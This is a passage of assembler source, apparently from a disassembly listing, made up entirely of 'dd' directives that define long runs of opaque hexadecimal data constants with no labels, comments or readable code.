		dd 0A4E94013h, 99380084h, 36E77DADh, 0C000A2BDh, 0D879135h
		dd 0A48B105Fh, 2DE0F9E5h, 823806ADh, 0B35ADDC7h, 428A03EEh
		dd 3FBC01F1h, 0E9F04260h, 0C296818h, 0ED470EAAh, 0D6C370Fh
		dd 0B3009F31h, 4F4185BCh, 18A7A8B5h, 2E74DA58h,	5A725B0Bh
		dd 0A831014h, 4919D8Fh,	3DFEB50h, 0F57EC382h, 0C013175h
		dd 3667D343h, 64304DB2h, 0E09C0625h, 3910EA5Ch,	0B8FF5A00h
		dd 5B7CB0FBh, 20850369h, 9FF31C4Bh, 61178AE0h, 7BDB8105h
		dd 6D408C10h, 0EF8462FAh, 0D0B47B05h, 594F0DCh,	0A034912Ch
		dd 0D05000EEh, 0E94E76A2h, 6600F704h, 6064B3D3h, 65EC83h
		dd 0DAA56F23h, 0D57F22C8h, 453E0C00h, 57D1C639h, 761F005Dh
		dd 33C7551Ah, 0A300B986h, 0E7FA7BDEh, 585F9Bh, 0AE13D566h
		dd 82CE012Dh, 85E3A200h, 7EC707C1h, 0CCE7001Eh,	0EF2DBC43h
		dd 69377A13h, 60B088D5h, 755D78E3h, 88450F3Eh, 50006B35h
		dd 7557C995h, 0B0056330h, 3B826AD5h, 7800373Ch,	8E3E1E2Dh
		dd 853925A4h, 80303BD2h, 6BCE7433h, 0E4C988B2h,	1E690DE0h
		dd 0CC4004EDh, 0CE006E79h, 0A84641E7h, 0E7F9CD6h, 0CC528F63h
		dd 0C101D160h, 5330FE56h, 0EB073005h, 65A8C96Bh, 30589605h
		dd 0ACBA9CA0h, 792C8100h, 301FB55Dh, 0CF72000Bh, 5F748E3Bh
		dd 0C4773FE0h, 6F00A2E4h, 0BBEC6636h, 0EE5FFB6h, 0DF11ADBEh
		dd 7FE139Eh, 80EDF487h,	0EA52B91Eh, 1C5B81Dh, 8731BFD9h
		dd 1E8133ECh, 984A4DD6h, 380F20E0h, 97038D0Ch, 403E18B8h
		dd 80F518ABh, 48C71E39h, 0EC144BEFh, 2560000Eh,	0B7B896CFh
		dd 0DA0C8113h, 51FA524Dh, 3F505C40h, 17DA23Eh, 7EF158Ah
		dd 8DB962F0h, 0C13AB151h, 97A3E7E3h, 151100BBh,	74F8DF41h
		dd 0E7033BCBh, 94532F05h, 217AD1h, 0CD69F580h, 0C5BDCEBAh
		dd 7C0C5D0Eh, 0ED55E7C6h, 6597046h, 16CF88FFh, 1F04481Eh
		dd 0D4941527h, 26F9E40h, 711FE0C6h, 95F45BAh, 1F1B6700h
		dd 391D823Fh, 8518E663h, 7C15E8FEh, 5106A502h, 0ADD272h
		dd 0EFA92B8Fh, 504384A9h, 0D82A6AACh, 14FF0D80h, 7C0BEFDDh
		dd 496D3700h, 0FEBCAF94h, 0C7E41207h, 0C661DFEEh, 0B981E682h
		dd 683D34F2h, 0F6288E9Bh, 201D32h, 757BBDE6h, 5E49F107h
		dd 6568AA60h, 221EE179h, 9107B4EEh, 0C6EC492Fh,	0C768201Fh
		dd 0E6DC7C1Ch, 16D8A8BBh, 63AE0C92h, 7AE1D699h,	0E5F01A12h
		dd 0CD972005h, 0B19F945Dh, 46D98E42h, 91ADE038h, 6FA78E4h
		dd 5D3BB6E2h, 0AD2A40E1h, 7700BCEFh, 23C9DCA5h,	42FEC0h
		dd 4F360835h, 733F14B0h, 0E030CEB8h, 8533D0D4h,	0E9836191h
		dd 81DE7862h, 7A515380h, 0E098BA36h, 3E8871E5h,	4499BC6Fh
		dd 38921A81h, 0A4304216h, 5C40CF14h, 12246D61h,	7CB34F26h
		dd 8061812h, 24082D06h,	280C2720h, 0ADEE2A1Ch, 3457009Ch
		dd 0CC70A330h, 0D501DB67h, 0D8E214DAh, 80EB178Bh, 0A3D2C77h
		dd 8D9715EFh, 0A1AC80D8h, 0ED2092C8h, 3E728500h, 151DC24Fh
		dd 1E3919D4h, 205CE0ABh, 0F740B19Ch, 0DE4A3351h, 81DEEFC1h
		dd 93A958h, 8803ADABh, 79198EBh, 0FD22D9D0h, 0FABA4159h
		dd 531EFCE2h, 0B0067218h, 0C524740h, 0BD5E82B9h, 87023810h
		dd 51079B6h, 801041C9h,	78BECCF9h, 8E95121Fh, 0BE68E2F9h
		dd 8A6D3383h, 12A87097h, 4074E9BFh, 0C67EEE0h, 82184F9Eh
		dd 6260B9D6h, 3291E7Fh,	3B073A9Ch, 3076CD50h, 0DC23C072h
		dd 0C100EDE2h, 52F4CED3h, 7EB4AEh, 0CD29ABEAh, 35CA7C75h
		dd 0CF0052B0h, 0D621CE49h, 1EAE1B92h, 7D10ABDh,	0C005FFB2h
		dd 33108A66h, 2C71D700h, 0EA76B49Ch, 84800B3h, 86D3878Dh
		dd 23017B88h, 3FEE757Ch, 2A817932h, 37F0296Eh, 0D902F43Ah
		dd 0AD867099h, 7CF8D80Fh, 52C30920h, 3420D282h,	0EF956CDFh
		dd 8CB5632Ah, 87389748h, 0D66008D1h, 9160EFDCh,	51D702E8h
		dd 400AAB2h, 92E4C463h,	88D144A0h, 0AE494000h, 436058FEh
		dd 59710FEBh, 40328384h, 0CC0F8B98h, 0AD603A49h, 1F2A2148h
		dd 16521351h, 47A840A8h, 7C46E479h, 604953Ah, 782561CAh
		dd 90CBF430h, 4A8213ECh, 834C42CFh, 4C00D590h, 0C9BC0BF0h
		dd 64818BB1h, 86EF4012h, 0F0B0ECA8h, 0EAC20089h, 30A8A06Fh
		dd 0BF00611Dh, 2AA9DB4Ch, 618E78Bh, 593B8E5Ah, 4F7658F9h
		dd 50C4249Ah, 3501E2E8h, 93898255h, 14201E98h, 4065480Eh
		dd 704DD3FEh, 689474h, 0B4361E79h, 28A73559h, 10800F1Dh
		dd 78D5CA82h, 0DF4D307Dh, 65F01454h, 0BB7EB0D0h, 4C9C0329h
		dd 0D331885Bh, 0F0161900h, 7A52C418h, 98B14972h, 2969B406h
		dd 0CD0CA881h, 31CA94CEh, 83AA009Fh, 515D0567h,	0F600C7E3h
		dd 0EA792F4Fh, 37EBF87h, 78C0E4F4h, 0C9009395h,	2E346E66h
		dd 8D6859h, 0E3B64BAh, 734FBC2Dh, 7EDF5601h, 3D88AE85h
		dd 0ED6906C7h, 90D9DA49h, 850C6FE8h, 0D90964EFh, 6E817ED7h
		dd 0D541A0B3h, 1738AEh,	266276B6h, 18A0BA40h, 2563386Eh
		dd 5439B188h, 18CEB001h, 28CB6432h, 0EF1090C0h,	0D814840Eh
		dd 9B809C94h, 41F07D1Bh, 0DF0621FCh, 0D29671EDh, 2CFBF098h
		dd 65A88AD9h, 4D1C013Ch, 75B26272h, 8620EE30h, 31107A54h
		dd 0BED8C90Ch, 34563098h, 93164D19h, 38FC26D0h,	0E8D85455h
		dd 6C621AC1h, 0D812A8BBh, 908D274Bh, 0B11C4770h, 2089F66Fh
		dd 81B8EB5Ah, 3A69134Ah, 49C41FBDh, 0CC10EE2Eh,	659050F6h
		dd 75782706h, 74B0DAB1h, 480F806Eh, 483E9C24h, 83DF8288h
		dd 0F89D280Eh, 75091879h, 24F5C10Ah, 6343C7E8h,	0F7C9FC3Ch
		dd 4844D4DEh, 788D3600h, 0ACC7F8C3h, 0F40A4CECh, 0F07911h
		dd 0C8FE1E52h, 14BCF301h, 84E3C649h, 5C627A02h,	0DC8E2C54h
		dd 12768290h, 0C1E4E89Ch, 62751F85h, 2010B0C8h,	0BB047F16h
		dd 6E4A5273h, 7A47F8D0h, 918431C6h, 50AEEEC9h, 6F2DE084h
		dd 59BA5B00h, 0F1C05D63h, 8DC1049Eh, 310C6E18h,	0B050F5ADh
		dd 0A73805h, 0C35864C8h, 300CD07Fh, 1198C452h, 88168977h
		dd 0CAC86134h, 7EAD00E2h, 1E7A2EB8h, 50A44284h,	0EF2EE846h
		dd 0B162884Dh, 7FCD0380h
		dd 8C6453B2h, 0BD338601h, 0A66E524Dh, 821C3990h, 208E9E3Dh
		dd 0FB39AE23h, 0B964F088h, 7E4D84B8h, 5C02007Ah, 987529E0h
		dd 0D3CF4410h, 8048784Ch, 0D59235D9h, 0A0D7E0FAh, 318D6DB8h
		dd 9B219495h, 0F26FE4F4h, 0DCBBE800h, 830490C5h, 439E0053h
		dd 9C67C7D0h, 0B613A3D1h, 7C046685h, 0C401E9E5h, 0F1638EBCh
		dd 0D01081D9h, 653B88ADh, 0F2BEC820h, 0C1B5E252h, 37AE4DE8h
		dd 96D194E7h, 0BDB83F40h, 5F2280CEh, 59AEF757h,	628512FDh
		dd 34350E9Bh, 0AA90276h, 0A840C838h, 0FB28C0F8h, 3B2090BCh
		dd 969530D8h, 7AFAF651h, 0CDA03C07h, 0F810812Ch, 191735Ah
		dd 621D63EAh, 4096156Eh, 0E9387118h, 0B15F0E05h, 5B80DC8Fh
		dd 1FD6AFCDh, 0C007D962h, 46A683AEh, 32F6B6BFh,	0A4E33028h
		dd 808EC9C8h, 991AA91Bh, 0BA19D793h, 92304C2Bh,	815D832h
		dd 1807E0B8h, 0D290B139h, 1B60C183h, 0E0CB1E12h, 0AD68A25Ch
		dd 0CD94A0F8h, 42DD03Fh, 3D345AC2h, 102CA10Eh, 64C7B860h
		dd 19C38900h, 9BF003E5h, 285F0C7Dh, 30B80D29h, 98DF3D18h
		dd 2661F38h, 247FC09Fh,	0BC601922h, 0D0C6EAC8h,	0D0A0C995h
		dd 7CB204D1h, 0DA0DF42Ah, 5C4138F8h, 84007F5Eh,	0F9541B1Ah
		dd 8371D390h, 261FBF40h, 80448938h, 7094170Ch, 66009839h
		dd 4D4DACBh, 12FFEB62h,	80D36C32h, 9B613DA4h, 82D58283h
		dd 9A62780h, 0ADE8B030h, 0F780249h, 0C4571D2Dh,	0F4C70C2Eh
		dd 4DBF0DC0h, 0BA811C43h, 64302B1Eh, 0E115402Bh, 0E2266016h
		dd 0D33800E6h, 0BE0E6481h, 3D313250h, 0F2022917h, 2261464h
		dd 556FB79Fh, 8040302Fh, 309A2228h, 45824D09h, 0D9881FCh
		dd 90257D67h, 5C123885h, 7B34D2DCh, 39970890h, 4A37BCA8h
		dd 0E6414165h, 0A6FE8882h, 2290C4C4h, 5C0C1E85h, 79163864h
		dd 242006BAh, 2122853Ah, 3B227090h, 1E770AB9h, 85185064h
		dd 411FFA7Ch, 8B433DE0h, 0EAB420D8h, 381771C0h,	92DBF5h
		dd 5DDABB66h, 15D2A4B2h, 0EAC1E518h, 80F8E7C0h,	95307B1Fh
		dd 2A6DE97Ah, 5BCA0026h, 14E2EA3Ch, 505048Fh, 0D3C3BF6Bh
		dd 881E9808h, 0E2415A37h, 0D136897h, 0B8A32AFAh, 0E3B03245h
		dd 42743581h, 67C2AD00h, 0FCB90B7Eh, 0F9E00976h, 0C230482h
		dd 0C852D3FDh, 8F751614h, 58046E12h, 0B749983Dh, 41BD60A5h
		dd 9FF15090h, 64E1EAACh, 76CD1015h, 28D45304h, 40FDF0C6h
		dd 8728B853h, 58BC25F3h, 34B84462h, 9341CC01h, 0E3BFCA6Ch
		dd 5482C6D0h, 50BA0E2h,	0D3ECFCA9h, 944068AAh, 83C67E17h
		dd 0D2500021h, 3E07CD4h, 0A0F84E21h, 9112B785h,	444D0EADh
		dd 0B7F24946h, 15A42C3Ch, 0F205A4A4h, 0CCBC1CC3h, 4BE9D3E0h
		dd 5E8DC834h, 0F07C0B02h, 0E293A9D2h, 24A8C3EDh, 0BC836D1h
		dd 180275CDh, 0E8E69752h, 79BC5BE9h, 38AE8E8Dh,	0E5C961D8h
		dd 3D18435Dh, 78FE203Dh, 0F039C401h, 0EA80E563h, 21A65484h
		dd 8300D752h, 0C7183EDDh, 6471E478h, 31B7007Ch,	8EF2860Ch
		dd 240D5BF4h, 91C1FC96h, 0CED37040h, 0FDAD067Fh, 81DF3A88h
		dd 0E3AE370Eh, 20286A35h, 0BC204C65h, 0A1C409EEh, 9C24D2A0h
		dd 7908C037h, 0E5F6781Fh, 9CF0842Eh, 70B32CBFh,	0BED00BFh
		dd 0FE8D4E94h, 0C4150C44h, 0CE56794Ch, 87525400h, 6599A9EEh
		dd 7DEDEE63h, 3CE400BBh, 0C993DAF2h, 7B380BC7h,	2CF3804Bh
		dd 479AF107h, 0D7CC00F6h, 1A24C8Fh, 0B00695Fh, 0BCEF5E29h
		dd 63D068Ah, 0D48DDCF2h, 5D1340CAh, 0F303EA4Bh,	0FB519AECh
		dd 50A2E8D2h, 0A9EB004Ch, 623C1F55h, 810ECBEFh,	0A01C43E4h
		dd 0BBCD88Dh, 0E25707A0h, 321B2DECh, 78C5B590h,	0DC7F0448h
		dd 0CC80F8AAh, 1D3422E1h, 4807D890h, 0A202D0FDh, 0A8ABDF50h
		dd 6A12135Ah, 4CAB0062h, 0C7F12E07h, 0E0C8E72h,	404BA3D9h
		dd 0FF15052Ah, 0C02F4755h, 4C619F02h, 0C09AF900h, 2D4A2913h
		dd 0F66D0031h, 89D3D72Bh, 0B0162C8h, 24DF4B97h,	40801643h
		dd 0D1B72F4Dh, 0E7E24C75h, 0E5EB601h, 0B82B363Ch, 1CE8D3E8h
		dd 8089D7EEh, 91A4D9CDh, 27002494h, 4B4AFF80h, 4CD1B8E0h
		dd 94523893h, 5791B0EBh, 28E8048Ch, 809BF117h, 75CAC974h
		dd 204C4B01h, 2C1FC0C3h, 0D59420h, 0E727D0BEh, 0BC1378DAh
		dd 4B7ADC03h, 0D04525E4h, 7950E8h, 0A2D4D0F5h, 0B0F27D87h
		dd 610064FAh, 2E34089Fh, 0CDB2DBBh, 0E7F7B01h, 0E2104540h
		dd 461C43EAh, 0CACBC079h, 0EEDF8777h, 1164BE00h, 0D5E9A135h
		dd 42060082h, 0D48801D7h, 5000DFBCh, 2DFEE25Bh,	414CEFDAh
		dd 857AC054h, 51578CB3h, 4E7BC0E8h, 2CE94B03h, 8849F180h
		dd 2C7BB03h, 1C4C8653h,	500062A8h, 47D6F9h, 10EF30E5h
		dd 0BBBD494h, 884E8E0Eh, 0C01E0325h, 0CAFFB850h, 639300CFh
		dd 5A7FEF87h, 0A102260Dh, 0D559B8EDh, 8681C02Dh, 0D60716D7h
		dd 80AC1F50h, 59F31936h, 0BB002F3Dh, 4C5154D8h,	1FBFAB1Ah
		dd 0C1A13F14h, 42D1BEC9h, 0C891CCDBh, 5045CA00h, 3122E37Eh
		dd 55C538DAh, 0D2FDF287h, 0FC49E075h, 48814C7Fh, 0F125CC10h
		dd 97AFE14h, 0BF049188h, 492800FBh, 0A11A2CF1h,	141100F2h
		dd 13270D55h, 34A5CEE5h, 3DFB58h, 7DF7116h, 2D0B4613h
		dd 3851401h, 0BF41E1D6h, 0ACAD080Ah, 0B97500A9h, 330415C3h
		dd 0EEB5E401h, 5D69D7DFh, 1E58092Eh, 140010D9h,	31F188FAh
		dd 19A600F7h, 2655FBC5h, 0CD002FC2h, 7B8A5AC6h,	18B61525h
		dd 39BAED2Dh, 0C40020DEh, 0E30A343Bh, 74FA3FE1h, 21A660E2h
		dd 0DEC407FCh, 0AC542700h, 8D853AC9h, 0FF80C082h, 4A37B472h
		dd 60809A4Bh, 7CB0AE6h,	7632542Fh, 80BD8846h, 944E9360h
		dd 14B3C3B8h, 1C3AE73Ch, 4717C9C8h, 6A516CD0h, 0CB4E0E59h
		dd 22C0D901h, 4D324527h, 80B1762Ah, 0CA3A8814h,	0F4A4939Ch
		dd 512600CDh, 6D3C64D4h, 3200708Fh, 0CAA22D59h,	0BF531Bh
		dd 18894988h, 967A8D66h, 27806438h, 0F04460CEh,	89266561h
		dd 7D982F14h, 0E837008Ch, 64B59888h, 0C13087Fh,	7CA06960h
		dd 40ECBCD3h, 40A0A266h, 16D17C1Fh, 3819E0D8h, 3B940F1Fh
		dd 0C080B782h, 40F5E4F0h, 11C04650h, 80017A45h,	6803FDF8h
		dd 15FE34E0h, 6466F027h, 0C6393004h, 8627C31h, 18A4079Fh
		dd 0F03B9DC3h, 500E724Fh, 30E3C4DDh, 3538BA96h,	504F2E9Eh
		dd 0AE3B6081h, 393C30E8h, 0E071E25h, 0A114DABBh, 5003ADE9h
		dd 7A38DFF4h, 59761600h, 0A17EBADBh, 0ABF3E8DAh, 7A50F8CCh
		dd 0BB7B0293h, 0B55E39D4h, 0E186385Eh, 2799EE14h, 0ECE0E8ACh
		dd 5001EFD5h, 4D358203h, 1842B3A2h, 0E58521C3h,	457D201Ch
		dd 0E00EF019h, 402F96F9h, 0D8828E8Ch, 8901EA9Bh, 0F9CCAB42h
		dd 0DEFCF3BCh, 0C058002Dh, 69441C51h, 2200493Eh, 0BB924506h
		dd 90150786h, 2284698h,	3438C423h, 10A83142h, 0E6C41EF9h
		dd 20ED2875h, 0F5BD0FF0h, 0F0D328D8h, 4D007F68h, 4C2325BCh
		dd 1ABC986h, 0D17B642Eh, 3F9C127Ch, 3D333400h, 6AC4A8Bh
		dd 670C21BCh, 69550805h, 344C4288h, 7AC41F30h, 2222463Ch
		dd 0AFD01A7h, 10E74CC4h, 0CDD7C0B1h, 40066A2Dh,	403389C4h
		dd 82F8BEBCh, 2480AA5Ah, 0F14DBD6Ch, 1080DEEDh,	9ACA28D9h
		dd 18C4BF6Bh, 4700D566h, 20A75319h, 6BE73839h, 30CC69E8h
		dd 0BA97F1D3h, 0C424D611h, 333D5125h, 6135A581h, 807CE2ECh
		dd 242CF800h, 880E08D1h, 0F0992901h, 451C4A69h,	0E805EBD0h
		dd 408D00C9h, 0DACB0E3Bh, 37518830h, 92684160h,	343D00E3h
		dd 0A49E546Dh, 0B0954996h
		dd 5CF29903h, 2CD80128h, 0A6012EF3h, 4A5FEFC0h,	831330Dh
		dd 0C98FECFDh, 26DD62F0h, 6A00F608h, 24351E7Ch,	18302BAh
		dd 34DD853Fh, 98BC8764h, 3531DF60h, 84658A4h, 19B0ED86h
		dd 992D2700h, 23203E56h, 9A9C3CF3h, 5291C701h, 0A4D94E6Ah
		dd 9D0810F1h, 47E06577h, 167AB5ACh, 460428B4h, 8EB161D2h
		dd 103C241Ch, 0A98500E3h, 15C9FB1Ah, 0C084A08Bh, 0A68C99D8h
		dd 49B5400Ch, 40CA871Ah, 880A5847h, 6A61C432h, 718DCB62h
		dd 0EC19D294h, 60009A0Fh, 0C0DA0BAEh, 0C12E216h, 0B6FE3D32h
		dd 52981550h, 3C012C93h, 3976227Ah, 4488E518h, 5D7A0054h
		dd 28A6160Fh, 0AE135274h, 0BF00AD6Bh, 906276B7h, 0C2EE4BCFh
		dd 849A774h, 0C730F0D6h, 53003C9Ah, 0C3BF1FA0h,	3E78A948h
		dd 9060AE3Ch, 41380E34h, 2E30809Fh, 722D9C4Bh, 3C3B01ACh
		dd 0B379E3BAh, 8C40C2E4h, 0A0959709h, 7B238504h, 130E0429h
		dd 0BC6702DAh, 217F3068h, 77AEBA2h, 96879891h, 6C83DF9Fh
		dd 780688ADh, 0B9C832FEh, 3979A1h, 82546EDEh, 1CA0B58h
		dd 24571C01h, 85BE4C53h, 0ACE8E5DCh, 7A37049Ch,	38717623h
		dd 7A4F1E41h, 0BFA980B0h, 0AE31DFF4h, 21FD3A31h, 52E1BA75h
		dd 500523Eh, 21CD6C50h,	49E2C2A4h, 0F033EAD8h, 21761D7Ah
		dd 0F191DAA1h, 7A553F00h, 3DB284DCh, 0E4598518h, 493B88F1h
		dd 50165892h, 0A19C0487h, 36150EF8h, 4427386Eh,	0FB273446h
		dd 0B1D8C8B0h, 0F0983ACEh, 0B2191400h, 0A218AD16h, 0ED557801h
		dd 0CF882508h, 0B907F0D0h, 20123DD4h, 649CF027h, 0B3AD314h
		dd 8CE5B84Ch, 810BF801h, 0F5694D1Bh, 40D26C70h,	2D494892h
		dd 0FA7C8704h, 213CFB4h, 0AB71800Ch, 60ECBCA4h,	291F7A3Bh
		dd 403C5176h, 0B7A533Dh, 72DE7400h, 3F61E416h, 3D8EE78h
		dd 0E3037F6Fh, 58141C59h, 4BFC6D37h, 7885ACD0h,	0E0692EF9h
		dd 0D87E08F8h, 0DB1E709h, 840E614Ch, 52C0EA88h,	88171Bh
		dd 0F5B0AA83h, 0ABEE5B61h, 78C8B8ABh, 0A5487BE1h, 0DC9F0038h
		dd 6DA1722Fh, 1BF50296h, 11501554h, 7E19206Ch, 4F24A4EBh
		dd 851AAC41h, 523B9601h, 0EC5CEEE4h, 2E951FBCh,	5869FE00h
		dd 3DED868Fh, 0E680C62Bh, 0D6823F6Eh, 942655FBh, 648060D0h
		dd 39AE482Dh, 33C800C5h, 95666F29h, 1300C2ABh, 0BF330D8h
		dd 2F71B688h, 6448B822h, 6490DBBDh, 0ED1F1E0Ch,	1E0781B2h
		dd 40BCA2EFh, 28B19E61h, 1E00E682h, 9B938153h, 3A923620h
		dd 0C7251FA9h, 0D84FC4E0h, 0BD63EF80h, 8318B821h, 0B578FC16h
		dd 119CFE48h, 4D73FBD9h, 7003887h, 0FC934945h, 58003D05h
		dd 195DDFD6h, 2D3B516Ch, 0D460FA4Ah, 3A2AB1E6h,	7F3FD421h
		dd 7030A6EBh, 0E6800691h, 0FB0E267Ah, 9322D943h, 7AEEA501h
		dd 0C6EA1F7Eh, 0A068266Ah, 58F6F920h, 782F4020h, 81B72440h
		dd 0D88CFD2Ah, 7831236Ch, 25028C07h, 230E2B7Bh,	40D41BDAh
		dd 0A67AEDA4h, 6C46003Bh, 0A90FD325h, 791290EFh, 3C846A3Ch
		dd 0A453C0E9h, 0D3C0F8A7h, 2C8455F1h, 810A4F8h,	600399Ah
		dd 65577C45h, 1694941Ch, 22F8071Eh, 0C9288224h,	150CF8DCh
		dd 8C0CD81Fh, 167B2039h, 18380B0Eh, 7AE82E9Fh, 29C300DCh
		dd 4D35A152h, 148D4A26h, 0C0EDE442h, 4BBD14E4h,	47284097h
		dd 74A78849h, 0F0D23E02h, 51226730h, 553785A4h,	6FE89226h
		dd 32B08061h, 5F0D1FFCh, 839DFD49h, 0E0DD8088h,	9251702h
		dd 3667EF3Dh, 182F9441h, 0C0C45C1Eh, 485C8858h,	0C405FEA0h
		dd 0F8008EB0h, 0E93455C0h, 0B5CDBA49h, 4D60CC03h, 3F54ACB5h
		dd 48F02082h, 91BC046Ch, 81D3008Ch, 0C6F2AA3h, 0B49605A1h
		dd 4A096641h, 0B0C70EECh, 81881FAEh, 101205A0h,	0B6A445EEh
		dd 246C2031h, 342E37C4h, 4072F82Ah, 1B5C4EBh, 27CD832Bh
		dd 429A2601h, 7045FCh, 6724F17h, 780BB0A0h, 92DF30h, 0B2D07C1Ch
		dd 2CF11276h, 0D82FC000h, 5482506Ch, 76ED847Bh,	88150B5h
		dd 919491D9h, 7AE78005h, 52F30E25h, 0A6C090D9h,	8EA17AEFh
		dd 9555DE14h, 8928000Ch, 0C16583ADh, 0EC1B07DDh, 171ED57Dh
		dd 0D4D9414Ch, 0A260CA94h, 0F24DD133h, 0CE450734h, 51FB039Ch
		dd 5119714h, 1E9481Ch, 6E3C16A8h, 5482C07Eh, 1B41311Dh
		dd 0D8DAE1C1h, 74747CA1h, 0D4021EE3h, 19488624h, 249448FDh
		dd 0FFCC215Eh, 0AD8C6285h, 3107CB8h, 0C9A05897h, 2DA0E8EFh
		dd 0CFE204h, 0E157E8D7h, 0B64DCFCh, 0EB534E00h,	0FFEA961Dh
		dd 89782D5h, 4680AA11h,	1C21154Ah, 1FCFAE12h, 1E8F3401h
		dd 2980B7EDh, 0A6250FA2h, 512C5C0Bh, 4A050147h,	34BDBA9Ah
		dd 0AE5AB863h, 81891005h, 6CD8B888h, 3A6A3ABAh,	0FD3821E5h
		dd 48D31C5Ch, 417D1780h, 5A5279B7h, 5AD881A8h, 510EDCA9h
		dd 39197501h, 0B6FCFDA5h, 6994D6E1h, 280150EFh,	39F10859h
		dd 76E0D560h, 0C210244h, 0DCAEB69Eh, 0CB7543F0h, 0C13A93E8h
		dd 0B7A65800h, 0F5D3AC1Ah, 98BB4CA5h, 0D45D10h,	0BF4AB535h
		dd 1F0CCE24h, 407C1B6Dh, 3FA65219h, 0F4EA783Ch,	2738974h
		dd 4973A25h, 50C9AD50h,	0C0E1D8E7h, 0DDEE250Eh,	8C02D489h
		dd 3222AC26h, 0F45038h,	19817E1Eh, 65EFF487h, 1F13ECB9h
		dd 7C3C38C0h, 0CC81B57Eh, 0C05C584Ch, 8012642Ch, 84D1E314h
		dd 0C210CF62h, 24B2ADB0h, 465E5C94h, 4C0D2FEBh,	0DC3726C8h
		dd 898826E4h, 0E461043Dh, 52AE1264h, 0F8330460h, 80E86152h
		dd 12F579CDh, 38CE1C30h, 31D41625h, 14F994FAh, 5B4020CAh
		dd 62EF780Ch, 7449C1BDh, 0A7C0B195h, 0AA912C17h, 65340181h
		dd 7E206429h, 22D3F402h, 411C76C0h, 28184FDCh, 51212408h
		dd 0E1E1C613h, 2430FC00h, 0BC368A9Eh, 49D7A49h,	96EB0A6Ch
		dd 3150D088h, 5B60BB4Ah, 9CDF1A26h, 20AB0093h, 7C80DE71h
		dd 0B17825D2h, 4C0794BAh, 0FA6DA35Fh, 4CF4B994h, 27845AD3h
		dd 0A0CEF0C4h, 1C3FBFEBh, 94F2027Eh, 0C99B1A83h, 82E8BB90h
		dd 0B4BF4C06h, 21C00B88h, 2E0E1F7Bh, 5884DA43h,	7A12E9A0h
		dd 0B4012508h, 5307528Dh, 80CD02CCh, 802D9E0Dh,	0FAD0C822h
		dd 40CA4B78h, 2A66A4FCh, 0ED0CC936h, 29E83AAEh,	480E1334h
		dd 20904EB1h, 84718F6Ch, 0EB512B16h, 664C2C43h,	0E2098836h
		dd 83C6187Ch, 63429A9h,	0BEFFC0Bh, 445CF2AFh, 46005BD2h
		dd 0D016B94Dh, 17C34755h, 8F781B3h, 65812FE4h, 92960FA1h
		dd 1E7411ACh, 0A598B19Ch, 7E8180E7h, 0CDE2A4F3h, 37FFF1Ah
		dd 0F4B0E644h, 83FAC900h, 5D5236DEh, 4FCA00AEh,	81C7F00Bh
		dd 8B0128FDh, 853ABAA0h, 6C3CE2E5h, 0BF0DD8Fh, 4545AE4Fh
		dd 60A6E4D4h, 1C4CA446h, 0CC377B65h, 1F607C41h,	0D5600C0Ch
		dd 1347C1D3h, 8C1935E3h, 0E80AEA24h, 0E0B31E71h, 770A6E02h
		dd 0C5BAE3AAh, 0A613A041h, 0AD20181Ch, 0DADE1EF7h, 5A3443F5h
		dd 0B1FBC681h, 0F804EDDh, 0BACC0B40h, 1F598090h, 12353888h
		dd 0A008D976h, 242BC054h, 18E95122h, 0F721C3CBh, 42AF2433h
		dd 2471EA1Ch, 34304883h, 4E98E85h, 2A3E627Ah, 538CC1F3h
		dd 44FEC682h, 0A9324000h, 126FD81Dh, 0C5EE71F2h, 0BEC08164h
		dd 3CE4FDFFh, 0D497184Ch, 59C79h, 647C0BF0h, 0AEC1AB1Bh
		dd 0D7460E16h, 0E8D09C10h, 0B7008CA7h, 98A69ED2h, 13451CDCh
		dd 8194256h, 3AC0EBB4h,	4676247Ah, 7E82269h, 0FC7A5242h
		dd 82C43077h, 9F003ACBh, 573D4BDBh, 765F603h, 62B77691h
		dd 5009C93Ch, 6BB10C90h, 1745B425h, 87A99170h, 2BC420D7h
		dd 0FB412881h
		dd 0FE824D01h, 0EEA00455h, 0DE3EE0B4h, 0F0074F09h, 0BCEB8543h
		dd 2720BDF0h, 4C4A550Ch, 2C48D97Ch, 0CD4322Dh, 0B17937B2h
		dd 0B049534Fh, 0BFF86897h, 8C6E0077h, 0BE82A98h, 2300A8D8h
		dd 500C59FAh, 0B8E73CB2h, 55BC09C0h, 98811C6Fh,	64ABAE4Ch
		dd 42F129Ch, 0C70440D9h, 0C12E977h, 84E708E1h, 0D6FE6AD1h
		dd 0C8851600h, 6EA6476h, 0CE7090BDh, 0D44425EAh, 940AC400h
		dd 1901A8C6h, 3049E34Fh, 0F0732EE4h, 6930CAA2h,	267924F0h
		dd 380D825Ch, 1852D511h, 29025246h, 1B512024h, 0F910C931h
		dd 291F2431h, 4D444BD7h, 0B0A83B5Ah, 3D207880h,	0BE2CEEDh
		dd 260348h, 437DD6C5h, 139856F3h, 0A25FBD8h, 50C4DDD0h
		dd 0B84864E8h, 17FB00CEh, 0E556F667h, 0E2AE24A4h, 0CFDA0808h
		dd 3DC03D14h, 475C03Eh,	863C76BDh, 558E380h, 0D6C81A84h
		dd 4F88D0ECh, 910017A5h, 0A0409D7Ch, 0A3D76BBFh, 546C0248h
		dd 0F3C928D8h, 0E09DA489h, 0B480DE11h, 9A64855Fh, 8A72520Ch
		dd 5CAFE0B9h, 9701DC33h, 824A37B8h, 88383CE5h, 0E54ACFBh
		dd 12054047h, 3588F088h, 15C88658h, 327CE324h, 0F4EEC9AEh
		dd 1ABB8004h, 3A7FE2A8h, 0DD124A14h, 0ED391130h, 7DE08B31h
		dd 0ECFC05D5h, 98389E07h, 0C9A08213h, 0A508B454h, 5BE1CD8Ah
		dd 0F7D5C02Ch, 0B2F0627Dh, 0F6BD1280h, 0CF14B8FEh, 299F633Eh
		dd 0F42808E4h, 0C265EECFh, 0B1F2A404h, 6FF6890Fh, 4A1C330Ch
		dd 0E355B0AAh, 3AAC5B3Ah, 78C7FE0h, 1F76498Bh, 3C203F96h
		dd 34C9CFB3h, 0FB04B90Ch, 5FCDE9ACh, 0E0ECC878h, 9F713200h
		dd 85262B88h, 6D2A00D3h, 0EC8D55F5h, 3416685Eh,	340902F9h
		dd 24643008h, 0E2C107Bh, 0ECA3E0EBh, 7BA20E7Ah,	8C204BBAh
		dd 0EA7250C4h, 498A652h, 0DD9E6A4Fh, 41FEBCE4h,	88A40E29h
		dd 8F36C0C9h, 0AA3CF47Dh, 37B4882Fh, 80EF11B9h,	76207A3Eh
		dd 5B50BC49h, 617A56F8h, 0C04B8CB8h, 10353CB0h,	79AEDE4Dh
